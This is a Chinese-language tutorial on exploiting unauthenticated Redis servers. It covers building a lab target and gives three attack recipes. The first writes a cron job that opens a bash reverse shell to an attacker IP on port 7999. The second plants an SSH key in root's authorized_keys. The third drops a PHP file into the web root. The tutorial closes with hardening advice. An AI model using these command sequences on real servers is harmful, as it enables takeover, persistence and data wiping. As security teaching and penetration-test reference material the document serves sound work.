Redis未授权访问漏洞利用总结
字数 1119 2025-08-29 08:31:47
Redis未授权访问漏洞利用与防御详解
0x01 Redis简介与漏洞概述
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的Key-Value数据库,并提供多种语言的API。从2010年3月15日起由VMware主持开发,2013年5月开始由Pivotal赞助。
漏洞本质:Redis因配置不当可以导致未授权访问。攻击者无需认证即可访问内部数据,可能导致:
- 敏感信息泄露
- 执行flushall清空所有数据
- 通过EVAL执行lua代码
- 通过数据备份功能往磁盘写入后门文件
- 如果Redis以root身份运行,可以写入SSH公钥文件直接登录服务器
0x02 本地漏洞环境搭建
靶机环境
- 操作系统:CentOS 6.5
- Redis版本:3.2.0
安装步骤
- 下载并解压Redis:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
- 修改配置文件允许远程访问:
vim redis.conf
修改内容:
- 注释掉
bind 127.0.0.1(前面加上#号) - 设置
protected-mode no
- 启动Redis服务:
./src/redis-server redis.conf
默认危险配置:
- 使用6379端口
- 无密码认证
- 未授权访问
0x03 攻击测试方法
基本Redis命令
- 连接Redis:
redis-cli -h 目标IP
- 常用命令:
info # 查看Redis版本和服务器信息
set x "test" # 设置键值
flushall # 清空所有数据(危险!)
KEYS * # 查看所有键
CONFIG GET dir # 获取Redis目录
CONFIG GET dbfilename # 获取数据库文件名
攻击方法一:计划任务反弹Shell
前提条件:Redis以root权限运行
- 攻击机监听端口:
nc -lvnp 7999
- 通过Redis写入计划任务:
set x "\n*bash -i >& /dev/tcp/攻击机IP/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
原理:利用crontab执行命令反弹shell到攻击机
攻击方法二:SSH公钥登录
前提条件:
- Redis服务使用ROOT账号启动
- 服务器开放SSH服务且允许密钥登录
- 本地生成SSH密钥对:
ssh-keygen -t rsa
- 通过Redis写入公钥:
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 公钥内容\n\n\n"
save
- 直接使用私钥登录SSH
攻击方法三:写入Webshell
前提条件:
- Redis权限不高但有web目录写权限
- 服务器运行web服务
- 写入webshell:
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save
注意:web目录需根据实际情况调整
0x04 安全防护措施
-
网络层防护:
- 限制可连接Redis的IP(通过bind配置)
- 设置防火墙规则
-
认证配置:
- 启用密码认证(requirepass配置项)
- 使用强密码
-
服务配置:
- 修改默认端口(port配置项)
- 以低权限用户运行Redis
- 启用保护模式(protected-mode yes)
-
文件系统防护:
- 限制Redis的数据目录权限
- 禁用危险命令(通过rename-command配置)
-
监控与日志:
- 启用Redis日志功能
- 监控异常连接和操作
总结
Redis未授权访问漏洞危害严重,可导致服务器完全沦陷。管理员应严格按照最小权限原则配置Redis服务,及时更新补丁,并实施多层防御措施。渗透测试人员在进行授权测试时,可利用这些技术评估系统安全性,但务必遵守法律法规。